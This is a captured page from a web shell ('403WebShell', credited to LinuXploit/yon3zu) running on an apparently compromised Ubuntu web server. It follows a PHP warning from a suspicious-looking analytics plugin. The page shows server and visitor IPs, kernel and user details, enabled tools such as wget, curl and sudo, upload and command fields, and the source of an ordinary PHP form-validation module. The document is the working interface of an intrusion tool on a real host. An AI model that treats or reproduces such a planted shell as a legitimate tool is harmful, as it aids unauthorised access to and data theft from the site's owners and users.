Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/formEdit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/formEdit/main.php
<?php

namespace modules\formEdit;

class main extends \moduleMain {

	use \modules\output\traits {
		\modules\output\traits::__construct as __ConstructOutput;
	}
	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}

	private $active = FALSE;

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructOutput();
		$this->__ConstructInput();
	}

	public function Activate() {
		hook_add('component.add', [$this, '__component']);
		hook_add('formedit.validate', [$this, '__validate']);
	}

	public function __component(&$status, $requested) {
		if ($requested == 'formedit') {
			$this->active = TRUE;
			// load view
			$view = $this->__loadView('formedit_view');
			$view->handlebars_template();
//			$status = '{{> fields fieldlist=fieldlist}}';
			$status = '{{> formedit}}';
		}
	}
	
	// process the fields - get values and any error messages
	public function __validate(&$result, $definitions) {
		$post = $this->post();
		$errors = [];
		$data = [];
		foreach($definitions as $def) {
			$name = $def['name'] ?? '';
			$required = $def['required'] ?? FALSE;		// not for checkboxes
			switch($def['type']) {
				case 'string':
					$value = trim($post[$name] ?? '');
					if ($value == '' && $required) {
						$errors[$name] = ['message' => '?', 'state' => 1];		// must have a value
						break;
					}
					$data[$name] = $value;
					break;

				case 'tel':
					$value = trim($post["{$name}_"] ?? '');	// hidden converted field
					if ($value == '' && $required) {
						$errors[$name] = ['message' => '?', 'state' => 1];		// must have a value
						break;
					}
					$data[$name] = $value;
					break;

				case 'email':
					$value = trim($post[$name] ?? '');	// not for multiselect
					if ($value == '' && $required) {
						$errors[$name] = ['message' => '?', 'state' => 1];		// must have a value
						break;
					}
					// validate email
					if (($p = strrpos($value, '@')) !== FALSE) {
						$domain = strtolower(substr($value, $p + 1));
						if (strlen($domain) < 4 || strpos($domain, '.') === FALSE) {
							$errors[$name] = ['message' => 'This does not look like a valid email address', 'state' => 1];
							break;
						}
						$disposable = hook_execute('email.check', NULL, $domain);
						if ($disposable) {
							$errors[$name] = ['message' => 'Temporary email addresses are not acceptable', 'state' => 1];
						} else {
							$data[$name] = $value;
						}
					} else {
						$errors[$name] = ['message' => 'This does not look like a valid email address', 'state' => 1];
					}
					break;

				case 'select':
					// not for multiselect
					$value = trim($post[$name] ?? '');		// single select always has a value
					$data[$name] = $value;
					break;

				case 'text':
					$value = trim($post[$name] ?? '');	// not for multiselect
					if ($value == '' && $required) {
						$errors[$name] = ['message' => 'This field is required', 'state' => 1];		// must have a value
						break;
					}
					$data[$name] = $value;
					break;
				// case checkbox
			}
		}
		if (count($errors)) {
			$result = ['field' => $errors];
		} else {
			$result = ['data' => $data ];
		}
	}
}

/*
generate form html using handlebars from an array
load existing data
save data
error checking
to do: use by single-module settings (system page, and google mail page)
also generate buttons

*/

Youez - 2016 - github.com/yon3zu
LinuXploit